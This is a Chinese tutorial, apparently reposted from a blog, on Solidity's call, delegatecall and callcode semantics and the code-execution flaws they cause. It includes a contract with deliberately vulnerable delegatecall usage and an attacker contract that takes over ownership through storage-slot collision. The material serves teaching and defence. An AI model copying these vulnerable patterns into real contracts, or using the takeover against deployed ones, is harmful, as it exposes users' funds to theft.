Solidity 代码执行漏洞原理

目录

1. 三种 call 方式

2. 两种 call 参数类型

3. 漏洞场景

3.1 delegatecall

3.2 call


1. 三种 call 方式

Solidity 中一个合约调用其他合约的函数有三种方式:

<address>.call(...) returns (bool)
<address>.callcode(...) returns (bool)
<address>.delegatecall(...) returns (bool)

1)call()

call 是最常用的调用方式,call 的外部调用上下文是被调用者合约,也就是指执行环境为被调用者的运行环境,调用后内置变量 msg 的值会修改为调用者。

2)delegatecall()

delegatecall 的外部调用上下文是调用者合约,也就是指执行环境为调用者的运行环境,调用后内置变量 msg 的值不会修改为调用者。

3)callcode()

callcode 的外部调用上下文是调用者合约,也就是指执行环境为调用者的运行环境,调用后内置变量 msg 的值会修改为调用者

2. 两种 call 参数类型

传入 call 函数的参数有两种类型:

1)函数签名

函数签名 = 函数名 + (参数类型列表),uint 和 int 要写为 uint256 和 int256

func(uint arg1, int arg2)  ==>  func(uint256,int256)

 调用方式:

<addr>.call(bytes)
addr.call(abi.encodeWithSignature("func(uint256)", arg1));
addr.call(msg.data);

msg.data

msg.data 是 solidity 中的一个全局变量,值为完整的 calldata(调用函数时传入的数据),前4个字节就是函数选择器,后面参数的每个值会转换为固定长度为 32bytes 的十六进制字符串。如果有多个参数,则串联在一起。

如图,three_call 的参数值,和 msg.data 的值是一样的

2)函数选择器

函数选择器:函数签名的 Keccak 哈希后的前 4个字节,后边跟参数

<addr>.call(bytes4 selector)
addr.call(bytes4(keccak-256("func(uint)")),arg1);
addr.call(abi.encodeWithSelector(0x6a627842, "0x2c44b726ADF1963cA47Af88B284C06f30380fC78"))

3. 漏洞场景

前置知识:EVM 的 storage

单个合约中状态变量存储在 storage 中,会按声明顺序存入卡槽 slot

contract A{address owner;B addrB;
}

3.1 delegatecall

delegatecall 的变化

当合约 A 和 合约 C 都有状态变量,delegatecall 调用的函数如果修改了合约 C 第一状态变量的值,那么实际修改的是合约 A 中第一个状态变量的值,也就是合约 A 的 slot 0 中的状态变量 owner

漏洞场景:

  • delegatecall 地址可控,可以修改调用者合约状态变量
  • delegatecall 参数可控,可以执行被调用合约的敏感函数,如:使用了 msg.data 作为 delegatecall 参数
pragma solidity ^0.4.23;
// 合约 A
contract A{address owner;B addrB;constructor() {owner = msg.sender; }function changeOwner(address _newOwner) public {require(msg.sender == owner); owner = _newOwner;    }function setB(B addr) public {addrB = addr;}// vuln1:delegatecall 地址可控function vuln1(address _contract) public {_contract.delegatecall(abi.encodeWithSignature("func()"));}// vuln2:delegatecall 参数可控function() public{addrB.delegatecall(msg.data);}
}// 合约 B
contract B {address public owner;function init() public  {owner = msg.sender;}
}

攻击合约

pragma solidity ^0.4.23;
import "./A.sol";contract Attacker{address public owner;// 攻击 vuln1function func() public {// 修改合约 A 状态变量 ownerowner = msg.sender;    }function attack_vuln2(address addrA) public {// 调用合约 A 中不存在的函数 init,进而执行 fallback 函数,// 而此时 msg.data 的前4个字节就是 init 函数选择器,// 进而执行了合约 B 的 init 函数// A(addrA).init();    addrA.call(abi.encodeWithSignature("init()"));}
}

3.2 call

使用 call 调用别的合约的函数时,执行环境是被调用的合约执行环境,改变的也是被调用合约的状态变量。在合约内部实例化别的合约,也是相当于是 call 调用。

call 的漏洞场景和 delegatecall 差不多:

  • call 地址可控:执行任意地址合约的的同名函数
  • call 参数可控:执行该地址的合约的任意函数
    • 调用函数签名可控
    • 调用函数的参数可控

EVM 的一个特性:EVM 在获取参数的时候没有参数个数校验的过程,从前往后取值,取够参数个数后就把后面的多余参数截断了,在编译和运行阶段都不会报错。

如下:后面的参数 4 和 5 会被截断

addr.call(bytes4(keccak256("test(uint256,uint256,uint256)")),1,2,3,4,5)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/222081.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【数据结构入门精讲 | 第一篇】打开数据结构之门

数据结构与算法是计算机科学中的核心概念&#xff0c;也与现实生活如算法岗息息相关。鉴于全网数据结构文章良莠不齐且集成度不高&#xff0c;故开设本专栏&#xff0c;为初学者提供指引。 目录 基本概念数据结构为何面世算法基本数据类型抽象数据类型使用抽象数据类型的好处 数…

自己动手写数据库: select 查询语句对应查询树的构造和执行

首先我们需要给原来代码打个补丁&#xff0c;在SelectScan 结构体初始化时需要传入 UpdateScan 接口对象&#xff0c;但很多时候我们需要传入的是 Scan 对象&#xff0c;因此我们需要做一个转换&#xff0c;也就是当初始化 SelectScan 时&#xff0c;如果传入的是 Scan 对象&am…

VUE笔试题精讲1

vue专题| ProcessOn免费在线作图,在线流程图,在线思维导图 VUE面试题视频 01-Vue组件之间通信方式有哪些? 1. 组件通信常⽤⽅式有以下8种: props $emit/$on $children/$parent $attrs/$listeners ref $root eventbus vuex 注意vue3中废弃的⼏个API https://v3-mig…

Python学习之——装饰器

Python学习之——装饰器 参考基础闭包概念装饰器系统自带的装饰器propertystaticmethodclassmethod 自定义装饰器函数的装饰器无参数有参数 类的装饰器无参数有参数 functools.wraps装饰器类 装饰器实现单例模式 参考 python装饰器的4种类型&#xff1a;函数装饰函数、函数装饰…

全志V3s之U-Boot

1、安装交叉编译器&#xff1a; ARM交叉编译器的官网&#xff1a;交叉编译器 a、使用wget下载&#xff1a; wget https://releases.linaro.org/components/toolchain/binaries/latest/arm-linux-gnueabihf/gcc-linaro-6.3.1-2017.05-x86_64_arm-linux-gnueabihf.tar.xzb、解…

mmseg上手自己的数据集

制作自己的数据集&#xff0c;VOC格式为例。 这三个文件包括数据集的名称。可以使用labelme脚本自动生成。 跟据预测类别修改配置文件 D:\projects\mmsegmentation-main\mmseg\datasets\voc.py 因为是voc格式的数据集&#xff0c;在这个文件里进行配置&#xff0c;修改成自己数…

每日分享,以元旦为题的诗词

元旦佳节即将来临&#xff0c;相信大家都会在朋友圈表达一下自己的情感&#xff0c;不管大家以前是怎么表达的&#xff0c;今天小编给你分享几首以元旦为题的几首诗&#xff0c;喜欢的朋友可以自取&#xff0c;想要更多免费的诗词&#xff0c;请自行百度或小程序搜索&#xff1…

SLAM算法与工程实践——相机篇:传统相机使用(2)

SLAM算法与工程实践系列文章 下面是SLAM算法与工程实践系列文章的总链接&#xff0c;本人发表这个系列的文章链接均收录于此 SLAM算法与工程实践系列文章链接 下面是专栏地址&#xff1a; SLAM算法与工程实践系列专栏 文章目录 SLAM算法与工程实践系列文章SLAM算法与工程实践…

C++共享和保护——(3)静态成员

归纳编程学习的感悟&#xff0c; 记录奋斗路上的点滴&#xff0c; 希望能帮到一样刻苦的你&#xff01; 如有不足欢迎指正&#xff01; 共同学习交流&#xff01; &#x1f30e;欢迎各位→点赞 &#x1f44d; 收藏⭐ 留言​&#x1f4dd; 信念&#xff0c;你拿它没办法&#x…

Java 第8章 本章作业

目录 4.通过继承实现员工工资核算打印功能 6.父类和子类中通过this和super都可以调用哪些属性和方法 8.扩展如下的BankAccount类 10.判断测试类中创建的两个对象是否相等 11.向上转型&向下转型 12.equals和的区别 15.什么是多态,多态具体体现有哪些? 16. java的动…

Spring Bean基础

写在最前面: 本文运行的示例在我github项目中的spring-bean模块&#xff0c;源码位置: spring-bean 前言 为什么要先掌握 Spring Bean 的基础知识&#xff1f; 我们知道 Spring 框架提供的一个最重要也是最核心的能力就是管理 Bean 实例。以下是其原因&#xff1a; 核心组件…

新版Spring Security6.2案例 - Authentication用户名密码

前言&#xff1a; 前面有翻译了新版Spring Security6.2架构&#xff0c;包括总体架构&#xff0c;Authentication和Authorization&#xff0c;感兴趣可以直接点链接&#xff0c;这篇翻译官网给出的关于Authentication的Username/Password这页。 首先呢&#xff0c;官网就直接…

前端如何使用express写一个简单的服务

相信不少前端平常在日常工作中肯遇见过后端API接口没开发出来的时候吧 前端提升小技巧 自己使用nodejs——express ,koa&#xff0c;egg开发接口吧(本人比较喜欢egg和express) 今天先分享一下express 下面是一个简单的demo 1、首先咱们可以新建一个文件夹,创建一个app.js 下…

【开源软件】最好的开源软件-2023-第18名 OpenTelemetry

自我介绍 做一个简单介绍&#xff0c;酒架年近48 &#xff0c;有20多年IT工作经历&#xff0c;目前在一家500强做企业架构&#xff0e;因为工作需要&#xff0c;另外也因为兴趣涉猎比较广&#xff0c;为了自己学习建立了三个博客&#xff0c;分别是【全球IT瞭望】&#xff0c;【…

Keepalived+Nginx实现高可用(下)

一、背景 上篇文章介绍了基本的Keepalived的简单入门&#xff0c;但是针对预留的问题还有优化的空间。分别是下面3个问题: 1、如果仅仅只提供一个VIP的方式&#xff0c;会存在只有1台服务器处于实际工作&#xff0c;另外1台处于闲置状态。 势必存在成本资源浪费问题&#xff0c…

LLM之RAG实战(四):Self-RAG如何革命工业LLM

论文地址&#xff1a;https://arxiv.org/pdf/2310.11511.pdf Github地址&#xff1a;https://github.com/AkariAsai/self-rag 尽管LLM&#xff08;大型语言模型&#xff09;的模型和数据规模不断增加&#xff0c;但它们仍然面临事实错误的问题。现有的Retrieval-Augmented Gen…

一文讲清 QWidget 大小位置

一文讲清 QWidget 大小位置 前言 ​ QWidget 的位置基于桌面坐标系&#xff0c;以左上角为原点&#xff0c;向右x轴增加&#xff0c;向下y轴增加。 一、图解 ​ ​ 如上图所示&#xff0c;当窗口为顶层窗口时&#xff08;即没有任何父窗口&#xff09;&#xff0c;系统会自…

JVM的五大分区

1.方法区 方法区主要用来存储已在虚拟机加载的类的信息、常量、静态变量以及即时编译器编译后的代码信息。该区域是被线程共享的。 2.虚拟机栈 虚拟机栈也就是我们平时说的栈内存&#xff0c;它是为java方法服务的。每个方法在执行的 时候都会创建一个栈帧&#xff0c;用于存…

数据结构学习 12字母迷宫

dfs 回溯 剪枝 这个题和dfs有关&#xff0c;但是我之前没有接触过&#xff0c;我看了这一篇很好的文章&#xff0c;看完之后写的答案。 我觉得很好的总结&#xff1a; dfs模板 int check(参数) {if(满足条件)return 1;return 0; }void dfs(int step) {判断边界{相应操作}尝试…

【JUC】二十九、synchronized锁升级之轻量锁与重量锁

文章目录 1、轻量锁2、轻量锁的作用3、轻量锁的加锁和释放4、轻量级锁的代码演示5、重量级锁6、重量级锁的原理7、锁升级和hashcode的关系8、锁升级和hashcode关系的代码证明9、synchronized锁升级的总结10、JIT编译器对锁的优化&#xff1a;锁消除和锁粗化11、结语 &#x1f4…